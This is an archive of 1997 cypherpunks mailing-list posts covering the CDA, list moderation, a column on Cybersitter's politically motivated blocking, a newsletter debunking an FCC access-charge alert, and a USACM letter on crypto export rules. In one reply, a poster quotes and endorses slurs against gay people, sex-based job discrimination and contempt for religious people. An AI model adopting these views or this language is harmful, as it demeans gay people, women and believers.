Subject: Congress is at it again; renewed defenses of the CDA
Message-ID: <v03007808af2aa85d6dd6@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Sen. Coats has been ranting about the CDA again. I have more in the
Afterword section of http://netlynews.com/ --

            "As the Supreme Court prepares to hear oral arguments
             next month in the Communications Decency Act case,
             morality crusaders in Congress are launching a renewed
             defense of the law..."

-Declan


-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 11:20:12 -0800 (PST)
To: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Subject: Re:
Message-ID: <855947474.1029113.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Is it legal or illegal to send a 
> PGP encrypted message from the US to someone in another country?

Yes.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 11:27:50 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
Message-ID: <855947473.1029112.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Absolutely, It is really, as far as I see it anyway, just a stop-gap 
measure. The caballers haven`t got enough room to do their censorship 
on the 18000 or so big 7 groups so they decide to fuck up the alt. 
heirachy as well ;-)

Hopefully Igor and co.`s network of Majordomo's should be fully 
operational soon (as I understand it two are up and a third is on 
it's way) then we can move back there. Might even get it finished 
before the 20th?????

 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 11:33:08 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <855947489.1029218.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> Again, MY definition of a "bigot" is the correct one which is
> most understood by modern people.
> 
> A "bigot" is a racist, period.

I would have to differ with you there Dr. Grubor, although I think 
the term Bigot being applied critically to your opinions is 
inappropriate.

> > I see nothing that limits bigotry to racial intolerance.
> > 
> 
> You are a fool then.  Religion and sexism and groups all have nothing
> to do with bigotry.  A bigot is a racist, period.  That is TODAY'S
> correct definition of the term, and I am a lot more current than
> Webster.  Any anybody who has a "religion" and "prays" is a fool.
> The only god you will ever find is within yourself.

I do not begin to believe this is correct.  I happen to believe that 
sexism, not in the sense of believing women inferior but in the sense 
of believing homosexuals inferior can be, in some instances, a form 
of bigotry but it is merely a matter of semantics and not of 
interest.

I wholeheartedly agree with the last point, anybody who believes in 
any form of deity or higher being (call it god if you like) is, IMHO, 
a fool. However, this has proven in history to be contradicted on a 
number of occasions, for example, Albert Einstein was a Jew but did 
not just accept without enquiry, rather, his religious views were 
subtle and well thought through. This is, of course, the exception 
not the rule, and 99.9999% of all religious people are fools.

 
> > > It is very logical and wise to discriminate on the basis of sex.

Here I can agree, I personally discriminate on the basis of sex, not 
in that I believe women inferior to men but rather that I believe 
each sex better suited to different tasks and vocations.
That is not, however, to say that I believe women should be prevented 
from taking up lines of work that men traditionally hold.
They are free to do so, but as in the example you give later 
I would feel uncomfortable having my car serviced by a woman.

> > Most would disagree, and decide based on that and other statements you
> > have made that you must be an extremely unpleasant person.
> > 
> 
> See, there you go again, attacking the person, instead of the
> argument.  You lose points for that.  Sexism is GOOD and right and
> justified.  I want a woman cutting my hair, and a man fixing my car,
> and I demand the correct sex for ALL activities.

Exactly, the poster has failed to recognise that you have every right 
to discrimate as you do and are justified in doing so. They are 
probably either homosexual and feel threatened or they are censorous 
and feel they must protect people from being "defamed" etc...
 
> > If you want to fight censorship effectively, going around telling
> > people "You're a shit-eating faggot you fucking cock-sucking homo
> > censor" in public forums is not going to win you many points.
> 
> Look sonny, I am not out to win any points.  I have two Doctorates and
> 22 years of experience.   I speak with authority and only to those who
> have the intelligence to understand.   I was a perfect 4.00 in
> College, and am probably the most intelligent body-politic analyst in
> the world.  Now let's face it:  Faggots are BAD news.  They are most
> always censors!  And that is the truth you can never get around.

I agree, I have no prejudice against homosexuals. Rather I have 
formulated a low opinion of them as a group due to their censorous 
behaviour. I think it is because they feel threatened by straight 
people.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Fri, 14 Feb 1997 17:09:24 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <199702131958.LAA09852@toad.com>
Message-ID: <199702150108.TAA09128@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:
 > subs-cri-be to the unedited list.

Nope.  I get duplicates with new ID's here, and I have duplicate ID
removing recipe enabled.  

I am subscribed to the list as cyberpass.net now, and not on toad
anymore, al least I shouldn't be.

Should be resolved by the 20th ;).

me
-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 16:17:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Cybersitter
Message-ID: <01IFF0YZ3YVC9AN9VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 05:21:41.54
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Cybersitter

[Forwarded with permission.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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Date: Thu, 30 Jan 97 08:23:58 -0500 (EST)
From: kkc@COMPETITOR.NET(K.K. Campbell)
Subject: Cybersitter & Wallace

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                    WHO'S WATCHING THE 'WATCHERS'?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                                  by
                             K.K. CAMPBELL

                              Net.column
                           The Toronto Star
                      Thursday, January 30, 1997


One of the most controversial aspects of cyberspace is censorship. A
widely accepted solution to eliminating the "unwanted" is self-imposed
censorship, through special software which blocks out types of content
not desired.

The appeal of these programs is that people needn't rely on distant
authority to dictate acceptability. We police ourselves; or at least we
have some control over how we will be policed.

The news media have generally blessed "blocking software" with
unexamined sprinklings of warm praise. After all, who dares suggest
that stopping your 5-year-old from seeing graphic gore, violence or sex
is bad? What could go wrong with that?

But, now critics are starting to ask, who is "watching the watchers?"
Could these watchers themselves develop more "creative applications"
for their power to silence? Could they apply their own personal
prejudices, or even their own hidden agendas?

Or is that paranoid nonsense?

Ask U.S. author Jonathan Wallace (jw@bway.net). Wallace says
California's Solid Oak software, which produces Cybersitter blocking
software, has added his site to its "block list" in retaliation for
critical remarks he made about the company.

Solid Oak claims 900,000 registered Cybersitter users.

Wallace, a New York-based software business executive and attorney is
co-author of the book _Sex, Laws and Cyberspace_ (Henry Holt, $34.95).
Net.column will discuss the book with its author next installment.

He's also editor of the monthly Webzine _The Ethical Spectacle_, which
focuses on "the intersection of ethics, law and politics in our
society."

The Webzine recently asked readers to not purchase Cybersitter because
of continuing reports of Solid Oak's "unethical behavior."

"In the book," Wallace says in a press release explaining his current
attitude to Cybersitter, "we took the position -- naively, I now think
-- that use of blocking software by parents was a less restrictive
alternative to government censorship. We never expected that publishers
of blocking software would block sites for their political content
alone, as Solid Oak has done."

Solid Oak unequivocably denies there is a political agenda of any kind
et work.

"Absolutely, 100 per cent not," Marc Kanter told the Toronto Star in a
phone interview. Kanter is Solid Oak's vice president of marketing.
"There is no hidden political agenda."

Kanter says someone criticizing Cybersitter would not be blocked. He
says Wallace's site is blocked because it "links information on how to
hack Cybersitter. We do not allow our customers to have hacking
information for the program."

Wallace told The Star that's not true. "There's no such information on
my site, nor is there on Peacefire's. I link to some pages maintained
by Glen Roberts, who -- along with some political commentary on
Cybersitter, and analysis of its blocking policy -- offers a (legal)
work-around. However, since his site is separately blocked by
Cybersitter, there is no reason for them to block my site as well."

Kanter dismisses Wallace's complaints. "The guy didn't do any
homework," Kanter says. "There are a few people who are right-wing
activists who are out there that are trying to defame the filtering
program. This is what leads to stories like you are doing -- and
hopefully you are not supportive of their actions."

Wallace didn't know what to make of that. "I've been called a
communist, a socialist, and a wild-eyed civil libertarian, but no one
has ever called me right wing before," he says. "Kanter has obviously
never read _The Ethical Spectacle_."

While Cybersitter, with fanfare, claims its mission is to block Web
sites containing pornography, obscenity, gratuitous violence, hate
speech, criminal activity, etc., an increasing number of investigative
Net.journalists also claim Cybersitter, without fanfare, blocks access
to Web sites based on political criteria.

                          FOR OUR OWN GOOD

This brouhaha began last summer when CyberWire Dispatch revealed
Cybersitter blocks sites based on political agenda, such as the
feminist National Organization for Women (www.now.org).

Dispatch journalist/editor Brock Meeks asked Solid Oak CEO Brian
Milburn (bmilburn@solidoak.com) about that.

"Milburn isn't shy about it," Meeks reported. "He was outright
indignant when he originally told Dispatch: 'If NOW doesn't like it,
tough'."

Solid Oak threatened to sue Dispatch for its article, but things
quieted down.

In December, the issue erupted again when 18-yearold Bennett Haselton
(bennett@peacefire.org) wrote an article about the company's selection
of blocked sites: "Cybersitter: Where Do We Not Want You To Go Today?"
(www.peacefire.org/censorware/CYBERsitter.html).

Haselton takes computer science and math at Vanderbilt University.
"Peacefire" is his own creation, a teen cyberrights group, average age
15.

According to various Net.journalists, Solid Oak now threatened Bennett
with a lawsuit and even tried to get the Peacefire site booted from its
host system (media3.net) by telling Media3 that Haselton was making it
"his mission in life to defame our product" by "routinely" publishing
names of sites blocked by Cybersitter.

(It should be noted it's easy to figure out which sites are blocked,
the software provides an output list. Try "playboy.com" -- blocked. Try
"whitehouse.com" -- okay. Try "peacefire.org" -- blocked. Try "now.org"
-- blocked.)

Unsuccessful in his pressure against Media3, Milburn instead included
the peacefire.org domain in Cybersitter's block list.

On Dec. 9, HotWired picked the story up
(www.wired.com/news/story/901.html). NetAction Notes
(www.netaction.org) quickly followed suit. Haselton told his story to
the Electronic Frontier Foundation and the EFF assured him it would
represent him, should Solid Oak deliver on its threat to sue.

On Dec. 20, The Netly News (http://netlynews.com) continued the
investigation of Cybersitter. Aside from the irony of Cybersitter
censoring the newsgroup alt.censorship, it "blocks dozens of ISPs and
university sites such as well .com, zoom.com, anon.penet.fi, best.com,
webpower.com, ftp.std.com, cts.com, gwis2.seas.gwu.edu, hss.cmu.edu,
c2.org, echonyc.com and accounting.com. Now, sadly, some libraries are
using it."

                       BLACK LIST TO BLOCK LIST

Wallace read the reports of legal threats against the teenager and
thought "Milburn was acting like the proverbial 800-pound gorilla."

So Wallace added a link on _The Spectacle_'s homepage called "Don't Buy
Cybersitter."

"I wrote the company," he says, "informing them of my actions and
telling them that they misrepresent their product when they claim it
blocks only indecent material, hate speech and the like."

Wallace says Solid Oak responded by adding his Webzine to its block
list. Learning of this, Wallace wrote Milburn and Solid Oak tech
support.

"I pointed out that _The Spectacle_ does not fit any of their published
criteria for blocking a site," he says. "I received mail in return
demanding that I cease writing to them and calling my mail 'harassment'
-- with a copy to the postmaster at my ISP."

Kanter acknowledges this. "He spoke to us more than once or twice -- he
continued to send mail -- mail like that is considered 'not wanted' and
is automatically sent back."

By the end of our phone conversation, Kanter had dropped the
"right-wing activist" explanation of who was behind the Cybersitter
complaints and offered a new one:

"Some of this rhetoric was started by someone we believe to be a highly
-- how do you put it? -- a highly homosexual individual, who did not
believe we should have the right to block any sites or links to
alternative lifestyles. That's how a lot of this got started."

Why is the National Organization for Women site blocked?

"Very simple. It contains links to gay and lesbian hardcore material. I
was on their page this morning, and there is a lot of offensive
material linked directly. Just go to their links page and start looking
at 'gay' and 'feminism.' Our parents don't want that kind of stuff."

I asked if he really meant "hardcore" -- suggestive of full-penetration
images/stories.

"Yes, by links through links," he clarifies. If someone followed the
links starting at now.org, they'd eventually find hardcore sexual
material.

Kanter says parents are not permitted to know which sites Cybersitter
blocks.

"That list is not given to anybody under any circumstances -- including
law enforcement agencies that have requested it." He says it's to
prevent the list from "getting into the wrong hands."

It would be a cybermap to naughtiness for some kids. And parents aren't
allowed to remove blocked sites from Cybersitter, although they can add
to the list.

Cyber-rights activists claim the incident underscores warnings they've
issued for years: While censorship software may first aim to protect
children against "pornography," it can quickly be adopted for political
agendas.

_The Ethical Spectacle_ is at www.spectacle.org. Solid Oak's Web site
can be found at www.solidoak.com.

-30-

Copyright 1997 K.K. Campbell





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 16:17:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Fear and Loathing at the FCC
Message-ID: <01IFF0ZI2MHO9AN9VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 07:16:51.99
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Fear and Loathing at the FCC

[Forwarded with permission.  This is the closest thing I've found to real
research on the FCC-access-charges-for-ISP's action alert you have no doubt
seen recently.  Right or wrong, this was an incredibly badly designed alert.
Please let me recommend that you *never* forward any kind of alert message
unless it is signed, includes detailed background information or at least
a URL that points to background information, and includes a time-out date. 
For more information on the proper construction of Internet action alerts,
see  http://communication.ucsd.edu/pagre/tno/january-1994.html#action ]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Thu, 13 Feb 1997 20:18:54 -0600
From: Patrick Douglas Crispen <crispen@campus.mci.net>
Subject: TOURBUS -- 13 FEBRUARY 1997 -- EDUPAGE / FEAR AND LOATHING AT THE FCC

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    \___/  \___/   T h e   I n t e r n e t   T o u r B u s   \___/

TODAY'S STOP: EDUPAGE / FEAR AND LOATHING AT THE FCC
TODAY'S ADDRESSES:
     http://www.worldvillage.com/wv/hotel/tourbus/archives.htm
     http://www.educom.edu/web/edupage.html
     http://www.eff.org/papers/eegtti/eeg_83.html#SEC84
     http://www.fcc.gov/isp.html

Hi, kids!

Put your seat belts on, because our latest adventure is about to get under
way!  Before we pull out of the terminal, though, can I interest anyone in
a magazine or two?  :)

+--- HUGE TOURBUS SAVINGS ON THE HOTTEST MAGAZINE SUBSCRIPTIONS! ----+
 Time, Newsweek, Money, PC Magazine, ZD Internet, Net, Yahoo, and tons
   more!  Plus, pick from 50 FREE subscriptions.  Send email now to:
+-------------------- ( tourbus@magazines.com ) ---------------------+

By the way, I have a sinking feeling that a few of you may want to forward
part of today's post to some of your friends.  I would be happy if you did
this -- just make sure that you give credit where credit is due.  :)

EDUPAGE
-------

I think I am losing my mind.  I distinctly remember pulling our little bus
of Internet happiness into Edupage before, but for the life of me I can't
find a copy of that post anywhere in the TOURBUS archives (which, by the
way, can be found on the World Wide Web at
http://www.worldvillage.com/wv/hotel/tourbus/archives.htm).

Anyway, Edupage is an absolutely wonderful, free, e-mail-based "summary of
news items on information technology, and is provided three times each week
as a service by Educom -- a consortium of leading colleges and universities
seeking to transform education through the use of information technology."

Edupage is actually a misnomer, because Edupage doesn't really talk about
education.  Rather, Edupage send you one paragraph summaries of technology
stories printed in leading newspapers and magazines (like Business Week,
Information Week, Forbes, etc.).  Each issue of Edupage usually contains
between 6 and 10 of these summaries.

If you want to subscribe to Edupage (remember, it's FREE), just send an
e-mail letter to

     LISTPROC@EDUCOM.UNC.EDU

with the command

     SUBSCRIBE EDUPAGE YOURFIRSTNAME YOURLASTNAME

in the body of your e-mail letter, replacing YOURFIRSTNAME and YOURLASTNAME
with your first and last names.

You can also find Edupage on the Web at

     http://www.educom.edu/web/edupage.html

Edupage is clearly one of my favorite resources on the Net.  It provides
cutting-edge technology information in a size that is easy to digest, and
as a professional college student I *often* find myself quoting and
applying the information that I have found in Edupage.


FEAR AND LOATHING AT THE FCC
----------------------------

Over the past couple of weeks, you may have received e-mail letters telling
you that

     Many local telephone companies have filed a proposal with the FCC
     [The United States' Federal Communications Commission] to impose
     per minute charges for Internet service.  They contend that use
     of Internet has or will hinder the operation of the telephone
     network.

At first, I thought that this was simply a new version of the old "modem
tax" hoax (http://www.eff.org/papers/eegtti/eeg_83.html#SEC84) that has
been floating around the Net since *1987*.   After all, the current FCC
story has all of the markings of a classic urban legend:

     1. It uses official-looking language;

     2. It mentions a government agency or an organization with
        which everyone is familiar;

     3. It contains a plea for you to take some sort of immediate
        action; and

     4. It requests that you forward the warning letter to as many
        people as possible.

Besides, according to an article that appeared in this morning's Edupage,

     ONLINE COMPANIES ASK TELCOS, "WHERE'S THE BEEF?"
     Tired of telephone companies' complaints that Internet usage is
     overwhelming their network capacity, the Internet Access
     Coalition has released findings contending that Net usage is, in
     reality, a bonanza for the Bells.  The study found that local
     carriers received a total of $1.4 billion in 1995 in revenues
     resulting from the installation of second lines in homes, while
     spending only $245 million to beef up their networks for the
     additional usage.  A Bell Atlantic spokesman says the real
     problem is that the telcos have no idea when a line will be used
     for data rather than voice, and thus tied up longer.  Both sides
     agree that the ultimate solution is higher capacity networks.
     (Business Week 17 Feb 97)

Well, out of curiosity -- and out of a deep-felt desire to avoid studying
for the two major economics tests that I have next week -- your fearless
bus driver decided to call the FCC in Washington to see if anyone there was
willing to talk about this rather explosive issue.  Unfortunately, I soon
discovered that the FCC only has one employee, she is a secretary, and her
job is to transfer all incoming telephone calls into voice mail hell.  :)

Actually, I talked to some nice people at the FCC who faxed me a 10 page
explanation of what's *really* going on.  Unfortunately, the 10 page
explanation was written in "FCC-ese," so I am going to have to translate
their explanation into English for you (and I can assure you that, since I
know *NOTHING* about telephony, my translation will probably contain a few
inaccuracies;  if it does, please let me know).

First, some local telephone companies have indeed asked the FCC to allow
them to assess a per minute access charge on the telephone lines used by
Internet Service Providers.  Local telephone companies currently charge
long-distance carriers (like AT&T and MCI) an interstate access charge for
the long-distance traffic that travels over their local lines, and the
local telephone companies would like to see this charge extended to include
the high-speed lines that your local Internet Service Provider uses to
access the Internet.

In December, the FCC rejected the telephone companies' request and
tentatively concluded "that the existing pricing structure for information
services should remain in place."  In other words, the FCC has tentatively
concluded that Internet service providers should *NOT* be subject to the
interstate access charges that local telephone companies currently assess
on long-distance carriers.

The FCC now seeks the public's comments on this conclusion.

Unfortunately, the "warning" letter that is currently circulating around
the Internet gives the impression that some sort of sinister operation is
afoot here, that the FCC and the telephone companies are trying to sneak
this proposal through without anyone noticing, and that it is up to each
and every one of us to stop the evil FCC.

What garbage.  In fact, the FCC has, at least tentatively, REJECTED the
telephone companies' proposal.  The FCC is now simply asking you if you
agree or disagree with their decision.

The most disappointing aspect of this whole situation is that because of
the misinformation that has been distributed across the Internet over the
past couple of weeks, the FCC has received 100,000+ e-mail letters, most of
which flame them for making a decision that EVERYONE AGREES WITH!  Hands
down, the flaming of the FCC is one of the Internet's most shameful acts
ever.

I also discovered another thing about the FCC that increased my respect for
their organization one-hundred-fold.  Part of the 10 page explanation that
the FCC sent me states that their "existing rules have been designed for
traditional circuit-switched voice networks, and thus may hinder the
development of emerging packet-switched data networks."  Because of this,
the FCC is also seeking the public's comments on the implications of the
Internet and its usage through the public switched telephone network.

Folks, *ANY* government agency that stops and says 'hey, we can ALWAYS use
some more information so that we are better prepared for whatever happens
in the future' has earned my respect and admiration.

By the way, most of the information that I have shared with you today can
be found on the FCC's "ISP" homepage at

     http://www.fcc.gov/isp.html

If you would like to send your comments to the folks at the FCC (the
deadline for comments about their decision not to impose interstate access
changes on Internet service providers is Friday, February 14th), make sure
that you check the FCC's ISP Web page first.  At the bottom of this page
are some pretty specific instructions on what you need to put in the
subject line of you e-mail letter before you submit it to the FCC.

Personally, I'm going to leave the poor folks at the FCC alone for a while.
They seem to be doing a great job in the face of unnecessary (and
misinformed) opposition.

TODAY'S ADDRESSES
-----------------
http://www.worldvillage.com/wv/hotel/tourbus/archives.htm
http://www.educom.edu/web/edupage.html
http://www.eff.org/papers/eegtti/eeg_83.html#SEC84
http://www.fcc.gov/isp.html

That's it for this week.  Have a safe and happy weekend, and make sure that
you visit all 3 sponsors who made today's TOURBUS post possible: Mediadome,
Magazines.Com, and ...

*--------------------------- MASS MUSIC -----------------------------*
  More Music For Your Money!  Over 185,000 Titles Just A Click Away.
 FREE Weekly Music Zine - Buy 7 Get 1 FREE Everyday - Treasure Hunt!
      TOURBUS Rider Discount code: SAVENOW! use it and save 5%
*------------------(  http://www.Mass-Music.com  )-------------------*

--------------------------------
TODAY'S SOUTHERN WORD OF THE DAY
--------------------------------

LAYMAN (noun).  A tart fruit.
Usage:  "Hunny, git me some more of that layman aid!"

(Special thanks goes to Tom Bates for today's word)

YOU CAN FIND ALL OF THE OLD SOUTHERN WORDS OF THE DAY ON THE SOUTHERN WORD
HOMEPAGE AT http://ua1vm.ua.edu/~crispen/word.html

======================================================================
 Join  : Send SUBSCRIBE TOURBUS Your Name to LISTSERV@LISTSERV.AOL.COM
 Leave : Send SIGNOFF TOURBUS to LISTSERV@LISTSERV.AOL.COM
 Info  : On the Web at http://www.worldvillage.com/tourbus.htm
 Advertising: E-mail BobRankin@MHV.net w/ Subject: SEND TBRATES
=--------------------------------------------------------------------=
  For info on my new book "Atlas for the Information Superhighway"
     send an e-mail letter to LISTSERV@UA1VM.UA.EDU that says
     GET ATLAS INFO F=MAIL in the body of your e-mail letter
======================================================================

     TOURBUS - (c) Copyright 1997, Patrick Crispen and Bob Rankin
 All rights reserved.  Redistribution is allowed only with permission.
     Send this copy to 3 friends and tell them to get on the Bus!

   (\__/)  .~    ~. ))
   /O O  ./      .'             Patrick Douglas Crispen
  {O__,   \    {               The University of Alabama
    / .  . )    \                crispen@campus.mci.net
    |-| '-' \    }           http://ua1vm.ua.edu/~crispen/
   .(   _(   )_.'
  '---.~_ _ _&                    Warning: squirrels.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 16:18:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <01IFF105ETE89AN9VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 08:14:58.81
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	USACM analysis of Commerce Dept crypto export proposals

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Thu, 13 Feb 1997 22:15:40 -0500
From: Lauren Amy Gelman <gelmanl@GWIS2.CIRC.GWU.EDU>

[...]


February 12, 1997


Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
Room 2705
14th Street and Pennsylvania Ave., N.W.
Washington, D.C. 20230.

Docket No. 960918265-6366-03

Dear Ms. Crowe

        The United States Public Policy Committee for the Association for
Computing (USACM) welcomes this opportunity to submit our views on the
Interim Rule issued by the Department of Commerce with regard to
"Encryption Items Transferred From the United States Munitions List to the
Commerce Control List."  The USACM believes it is in the best interest of
the U.S. government to promote the widespread use of strong encryption.
>From our perspective the Interim Rule fails to recognize the legitimate
needs and interests of academic, professional, scientific, and ordinary
users of telecommunications technology.  Thus, the Interim Rule must be
modified before it can resolve the many problems with the current export
controls on encryption technologies.

Introduction and Summary

        The Association for Computing is an international professional
society whose 76,000 members (60,000 in the U.S.) represent a critical
mass of computer scientists in education, industry, and government.  The
USACM provides a means for promoting dialogue on technology policy issues
with United States policy makers and the general public. We have
identified a number of serious problems with specific provisions of the
Interim Rule.

        As a professional society of computer scientists which produces a
number of peer-reviewed technical journals, we are concerned that the
Interim Rule will hamper both communication and education in our field.
Part 7.34.3 (b)(3) which refers to the distinction between printed and
electronic publications of cryptographic materials is unworkable under the
new paradigms of electronic publishing and communications. Electronic
media, including the World Wide Web, listserves, Usenet news groups, and
video conferencing are becoming the prominent means by which scientists
communicate.  Provisions of the Rule, specifically Parts 7.34.9 and 744.9,
which affect teaching cryptography to foreign students are vague and
contradictory.  Educational environments are not limited to academic
institutions but also occur in national and industry labs and by distance
education.  Restrictions on cryptography exports must not interfere with
the traditional freedom of access over digital networks which is
indispensable to maintain motivated and effective academic and research
communities.

        We also believe that the development of public policies and
technical standards for communications technologies, such as a Key
Recovery Infrastructure (KRI), raise vital issues of privacy,
competitiveness, and scientific innovation.  Parts 740.8 and 742.15 raise
a number of troubling issues for the computing community.  We believe it
is unwise for the Commerce Department to link relaxing export controls on
56-bit encryption to the development of a KRI as both the desirability and
the feasibility of such a system remains uncertain. Key recovery products
have not yet been subject to the vigorous testing necessary for a proposed
standard and there is little understanding of how such a system would
operate and what controls would be needed to ensure that it remained
secure.  Also, Supplement No. 7 to part 742 (which requires that
businesses who wish to export 56-bit encryption before 1998 submit a
biannual business plan for developing key recovery products) will stifle
the innovation of new cryptography technologies and discourage the process
of scientific innovation.  We believe the Commerce Department should not
promulgate regulations which prohibit U.S. research and development from
responding to market demands and limit the ability of Americans using new
on-line services to protect their privacy.

Analysis

        The USACM has identified electronic publication, education,
research and development, key recovery, and privacy as problematic areas
which need addressing.  We have outlined our concerns below:

Electronic Publishing

        It is unreasonable and unconstitutional to distinguish between
printed and electronic distribution of encryption source code as set forth
in the note to Part 7.34.3 (b)(2) and (b)(3).  A Federal Court in
California has ruled in Bernstein v. U.S. Department of State that source
code is speech and is thus protected under the first amendment.  This
distinction is also currently being challenged in a federal court in the
District of Columbia in Karn v. U.S. Department of State.  The USACM
joined the Electronic Privacy Information Center, the American Civil
Liberties Union, and the Internet Society in submitting an Amici Curiae
brief in the case which argued that such language is an impermissible
regulation aimed at the suppression of expression. As computer scientists
we see no practical reason why the Commerce Department should insist on
creating a distinction when one does not exist.

        The ACM is the publisher of numerous scientific publications and
conference proceedings.  They range from our flagship journal
Communications of the ACM (CACM) to the on-line, peer-reviewed journal
Experimental Algorithms.  All 76,000 members of ACM, including 15,000
members overseas, receive CACM by mail and have access to ACM's on-line
publications. ACM foresees a time when all its publishing will be
electronic and on-line.  At that time, it will need interoperable
encryption technology available in the U.S. and in its mirror sites abroad
to dispense its material.  Its subscribers worldwide will need access to
secure, commercial encryption as well.

        An article which described the development of a new cryptographic
algorithm would likely appear in one of the many technical journals or
conference proceedings published by ACM or the Institute for Electronics
and Electrical Engineers (IEEE), another international professional
society.  In fact a number of the groundbreaking articles in the field of
cryptography science were originally published by ACM and IEEE.
Publication of encryption algorithms is extremely important to the field
of cryptography.  In order for an algorithm to be trusted, it must be
challenged.  To do that, the code must be made widely available.  Foreign
members of ACM will be unable to access in electronic format the same
articles they currently receive in the printed journal.  And, it is
technically impossible, at this late date, to partition ACM's publications
into distinct paper and electronic (hence encryptable) media.

        Electronic communications, including the World Wide Web, list
serves, Usenet news groups, and video conferencing are becoming the
prominent means by which scientists communicate.  Science is a global
pursuit and there exists a open communications network between scientists
in different countries.  Part 734.2 which prohibits making cryptographic
software available outside the U.S. will not only eliminate this
international communication but also technical communication among U.S.
scientists.  In electronic communications it is not always clear to whom
the information is being transmitted.  WWW sites and Usenet news groups
are accessible by anyone with a modem.  Video conferences can be
retransmitted overseas and moderated listserves are difficult to control.
The Interim Rule refers to an individual taking "precautions adequate to
prevent unauthorized transfer of such code outside the U.S."  It is our
belief that it would be impossible to be certain of any precautions taken.
